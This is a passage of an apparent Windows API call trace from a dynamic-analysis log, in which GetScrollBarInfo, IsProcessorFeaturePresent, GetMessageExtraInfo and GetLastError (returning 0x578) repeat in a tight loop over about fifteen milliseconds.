GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.908] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.908] GetMessageExtraInfo () returned 0x0 [0026.908] GetLastError () returned 0x578 [0026.908] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.908] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.908] GetMessageExtraInfo () returned 0x0 [0026.908] GetLastError () returned 0x578 [0026.908] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.908] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.909] GetMessageExtraInfo () returned 0x0 [0026.909] GetLastError () returned 0x578 [0026.909] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.909] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.909] GetMessageExtraInfo () returned 0x0 [0026.909] GetLastError () returned 0x578 [0026.909] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.909] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.909] GetMessageExtraInfo () returned 0x0 [0026.909] GetLastError () returned 0x578 [0026.909] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.909] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.909] GetMessageExtraInfo () returned 0x0 [0026.909] GetLastError () returned 0x578 [0026.909] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.909] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.909] GetMessageExtraInfo () returned 0x0 [0026.909] GetLastError () returned 0x578 [0026.909] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.909] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.911] GetMessageExtraInfo () returned 0x0 [0026.911] GetLastError () returned 0x578 [0026.911] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.911] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.911] GetMessageExtraInfo () returned 0x0 [0026.911] GetLastError () returned 0x578 [0026.911] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.911] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.911] GetMessageExtraInfo () returned 0x0 [0026.911] GetLastError () returned 0x578 [0026.911] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.911] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.911] GetMessageExtraInfo () returned 0x0 [0026.911] GetLastError () returned 0x578 [0026.911] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.911] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.911] GetMessageExtraInfo () returned 0x0 [0026.911] GetLastError () returned 0x578 [0026.911] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.911] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.911] GetMessageExtraInfo () returned 0x0 [0026.911] GetLastError () returned 0x578 [0026.911] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.911] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.911] GetMessageExtraInfo () returned 0x0 [0026.911] GetLastError () returned 0x578 [0026.911] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.911] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.911] GetMessageExtraInfo () returned 0x0 [0026.911] GetLastError () returned 0x578 [0026.912] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.912] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.912] GetMessageExtraInfo () returned 0x0 [0026.912] GetLastError () returned 0x578 [0026.912] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.912] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.912] GetMessageExtraInfo () returned 0x0 [0026.912] GetLastError () returned 0x578 [0026.912] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.912] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.912] GetMessageExtraInfo () returned 0x0 [0026.912] GetLastError () returned 0x578 [0026.912] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.912] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.912] GetMessageExtraInfo () returned 0x0 [0026.912] GetLastError () returned 0x578 [0026.912] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.912] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.912] GetMessageExtraInfo () returned 0x0 [0026.912] GetLastError () returned 0x578 [0026.912] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.912] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.912] GetMessageExtraInfo () returned 0x0 [0026.912] GetLastError () returned 0x578 [0026.912] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.912] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.912] GetMessageExtraInfo () returned 0x0 [0026.912] GetLastError () returned 0x578 [0026.912] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.912] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.912] GetMessageExtraInfo () returned 0x0 [0026.912] GetLastError () returned 0x578 [0026.912] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.912] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.912] GetMessageExtraInfo () returned 0x0 [0026.912] GetLastError () returned 0x578 [0026.912] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.912] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.912] GetMessageExtraInfo () returned 0x0 [0026.913] GetLastError () returned 0x578 [0026.913] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.913] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.913] GetMessageExtraInfo () returned 0x0 [0026.913] GetLastError () returned 0x578 [0026.913] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.913] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.913] GetMessageExtraInfo () returned 0x0 [0026.913] GetLastError () returned 0x578 [0026.913] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.913] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.913] GetMessageExtraInfo () returned 0x0 [0026.913] GetLastError () returned 0x578 [0026.913] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.913] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.913] GetMessageExtraInfo () returned 0x0 [0026.913] GetLastError () returned 0x578 [0026.913] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.913] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.913] GetMessageExtraInfo () returned 0x0 [0026.913] GetLastError () returned 0x578 [0026.913] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.913] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.913] GetMessageExtraInfo () returned 0x0 [0026.913] GetLastError () returned 0x578 [0026.913] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.913] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.913] GetMessageExtraInfo () returned 0x0 [0026.913] GetLastError () returned 0x578 [0026.913] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.913] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.913] GetMessageExtraInfo () returned 0x0 [0026.913] GetLastError () returned 0x578 [0026.913] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.913] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.913] GetMessageExtraInfo () returned 0x0 [0026.913] GetLastError () returned 0x578 [0026.913] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.913] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.913] GetMessageExtraInfo () returned 0x0 [0026.914] GetLastError () returned 0x578 [0026.914] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.914] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.914] GetMessageExtraInfo () returned 0x0 [0026.914] GetLastError () returned 0x578 [0026.914] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.914] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.914] GetMessageExtraInfo () returned 0x0 [0026.914] GetLastError () returned 0x578 [0026.914] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.914] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.914] GetMessageExtraInfo () returned 0x0 [0026.914] GetLastError () returned 0x578 [0026.914] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.914] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.914] GetMessageExtraInfo () returned 0x0 [0026.914] GetLastError () returned 0x578 [0026.914] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.914] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.914] GetMessageExtraInfo () returned 0x0 [0026.914] GetLastError () returned 0x578 [0026.914] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.914] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.914] GetMessageExtraInfo () returned 0x0 [0026.914] GetLastError () returned 0x578 [0026.914] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.914] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.914] GetMessageExtraInfo () returned 0x0 [0026.914] GetLastError () returned 0x578 [0026.914] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.914] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.914] GetMessageExtraInfo () returned 0x0 [0026.914] GetLastError () returned 0x578 [0026.914] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.914] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.916] GetMessageExtraInfo () returned 0x0 [0026.916] GetLastError () returned 0x578 [0026.916] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.916] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.916] GetMessageExtraInfo () returned 0x0 [0026.916] GetLastError () returned 0x578 [0026.916] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.916] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.916] GetMessageExtraInfo () returned 0x0 [0026.916] GetLastError () returned 0x578 [0026.916] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.917] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.917] GetMessageExtraInfo () returned 0x0 [0026.917] GetLastError () returned 0x578 [0026.917] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.917] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.917] GetMessageExtraInfo () returned 0x0 [0026.917] GetLastError () returned 0x578 [0026.917] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.917] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.917] GetMessageExtraInfo () returned 0x0 [0026.917] GetLastError () returned 0x578 [0026.917] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.917] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.917] GetMessageExtraInfo () returned 0x0 [0026.917] GetLastError () returned 0x578 [0026.917] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.917] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.917] GetMessageExtraInfo () returned 0x0 [0026.917] GetLastError () returned 0x578 [0026.917] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.917] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.917] GetMessageExtraInfo () returned 0x0 [0026.917] GetLastError () returned 0x578 [0026.917] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.917] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.917] GetMessageExtraInfo () returned 0x0 [0026.917] GetLastError () returned 0x578 [0026.917] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.917] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.917] GetMessageExtraInfo () returned 0x0 [0026.917] GetLastError () returned 0x578 [0026.917] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.917] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.917] GetMessageExtraInfo () returned 0x0 [0026.917] GetLastError () returned 0x578 [0026.917] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.917] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.917] GetMessageExtraInfo () returned 0x0 [0026.917] GetLastError () returned 0x578 [0026.917] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.917] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.918] GetMessageExtraInfo () returned 0x0 [0026.918] GetLastError () returned 0x578 [0026.918] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.918] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.918] GetMessageExtraInfo () returned 0x0 [0026.918] GetLastError () returned 0x578 [0026.918] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.918] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.918] GetMessageExtraInfo () returned 0x0 [0026.918] GetLastError () returned 0x578 [0026.918] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.918] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.918] GetMessageExtraInfo () returned 0x0 [0026.918] GetLastError () returned 0x578 [0026.918] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.918] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.918] GetMessageExtraInfo () returned 0x0 [0026.918] GetLastError () returned 0x578 [0026.918] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.918] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.918] GetMessageExtraInfo () returned 0x0 [0026.918] GetLastError () returned 0x578 [0026.918] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.918] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.918] GetMessageExtraInfo () returned 0x0 [0026.918] GetLastError () returned 0x578 [0026.918] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.918] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.918] GetMessageExtraInfo () returned 0x0 [0026.918] GetLastError () returned 0x578 [0026.918] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.918] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.918] GetMessageExtraInfo () returned 0x0 [0026.918] GetLastError () returned 0x578 [0026.918] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.918] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.918] GetMessageExtraInfo () returned 0x0 [0026.918] GetLastError () returned 0x578 [0026.918] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.918] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.919] GetMessageExtraInfo () returned 0x0 [0026.919] GetLastError () returned 0x578 [0026.919] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.919] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.919] GetMessageExtraInfo () returned 0x0 [0026.919] GetLastError () returned 0x578 [0026.919] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.919] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.919] GetMessageExtraInfo () returned 0x0 [0026.919] GetLastError () returned 0x578 [0026.919] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.919] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.919] GetMessageExtraInfo () returned 0x0 [0026.919] GetLastError () returned 0x578 [0026.919] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.919] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.919] GetMessageExtraInfo () returned 0x0 [0026.919] GetLastError () returned 0x578 [0026.919] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.919] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.919] GetMessageExtraInfo () returned 0x0 [0026.919] GetLastError () returned 0x578 [0026.919] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.919] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.919] GetMessageExtraInfo () returned 0x0 [0026.919] GetLastError () returned 0x578 [0026.919] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.919] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.919] GetMessageExtraInfo () returned 0x0 [0026.919] GetLastError () returned 0x578 [0026.919] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.919] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.919] GetMessageExtraInfo () returned 0x0 [0026.919] GetLastError () returned 0x578 [0026.919] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.919] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.919] GetMessageExtraInfo () returned 0x0 [0026.919] GetLastError () returned 0x578 [0026.920] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.920] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.920] GetMessageExtraInfo () returned 0x0 [0026.920] GetLastError () returned 0x578 [0026.920] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.920] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.920] GetMessageExtraInfo () returned 0x0 [0026.920] GetLastError () returned 0x578 [0026.920] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.920] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.920] GetMessageExtraInfo () returned 0x0 [0026.920] GetLastError () returned 0x578 [0026.920] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.920] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.920] GetMessageExtraInfo () returned 0x0 [0026.920] GetLastError () returned 0x578 [0026.920] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.920] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.920] GetMessageExtraInfo () returned 0x0 [0026.920] GetLastError () returned 0x578 [0026.920] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.920] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.920] GetMessageExtraInfo () returned 0x0 [0026.920] GetLastError () returned 0x578 [0026.920] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.920] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.920] GetMessageExtraInfo () returned 0x0 [0026.920] GetLastError () returned 0x578 [0026.920] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.920] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.920] GetMessageExtraInfo () returned 0x0 [0026.920] GetLastError () returned 0x578 [0026.920] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.920] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.920] GetMessageExtraInfo () returned 0x0 [0026.920] GetLastError () returned 0x578 [0026.920] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.920] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.921] GetMessageExtraInfo () returned 0x0 [0026.921] GetLastError () returned 0x578 [0026.921] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.921] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.921] GetMessageExtraInfo () returned 0x0 [0026.921] GetLastError () returned 0x578 [0026.921] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.921] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.921] GetMessageExtraInfo () returned 0x0 [0026.921] GetLastError () returned 0x578 [0026.921] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.921] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.921] GetMessageExtraInfo () returned 0x0 [0026.921] GetLastError () returned 0x578 [0026.921] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.921] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.921] GetMessageExtraInfo () returned 0x0 [0026.921] GetLastError () returned 0x578 [0026.921] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.921] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.921] GetMessageExtraInfo () returned 0x0 [0026.921] GetLastError () returned 0x578 [0026.921] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.921] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.921] GetMessageExtraInfo () returned 0x0 [0026.921] GetLastError () returned 0x578 [0026.921] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.921] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.921] GetMessageExtraInfo () returned 0x0 [0026.921] GetLastError () returned 0x578 [0026.921] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.921] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.921] GetMessageExtraInfo () returned 0x0 [0026.921] GetLastError () returned 0x578 [0026.921] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.921] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.921] GetMessageExtraInfo () returned 0x0 [0026.921] GetLastError () returned 0x578 [0026.921] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.922] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.922] GetMessageExtraInfo () returned 0x0 [0026.922] GetLastError () returned 0x578 [0026.922] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.922] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.922] GetMessageExtraInfo () returned 0x0 [0026.922] GetLastError () returned 0x578 [0026.922] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.922] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.922] GetMessageExtraInfo () returned 0x0 [0026.922] GetLastError () returned 0x578 [0026.922] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.922] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.922] GetMessageExtraInfo () returned 0x0 [0026.922] GetLastError () returned 0x578 [0026.922] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.922] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.922] GetMessageExtraInfo () returned 0x0 [0026.922] GetLastError () returned 0x578 [0026.922] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.922] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.922] GetMessageExtraInfo () returned 0x0 [0026.922] GetLastError () returned 0x578 [0026.922] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.922] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.922] GetMessageExtraInfo () returned 0x0 [0026.922] GetLastError () returned 0x578 [0026.922] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.922] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.922] GetMessageExtraInfo () returned 0x0 [0026.922] GetLastError () returned 0x578 [0026.922] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.922] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.922] GetMessageExtraInfo () returned 0x0 [0026.922] GetLastError () returned 0x578 [0026.922] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.922] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.922] GetMessageExtraInfo () returned 0x0 [0026.922] GetLastError () returned 0x578 [0026.922] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.923] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.923] GetMessageExtraInfo () returned 0x0 [0026.923] GetLastError () returned 0x578 [0026.923] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.923] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.923] GetMessageExtraInfo () returned 0x0 [0026.923] GetLastError () returned 0x578 [0026.923] GetScrollBarInfo (in: 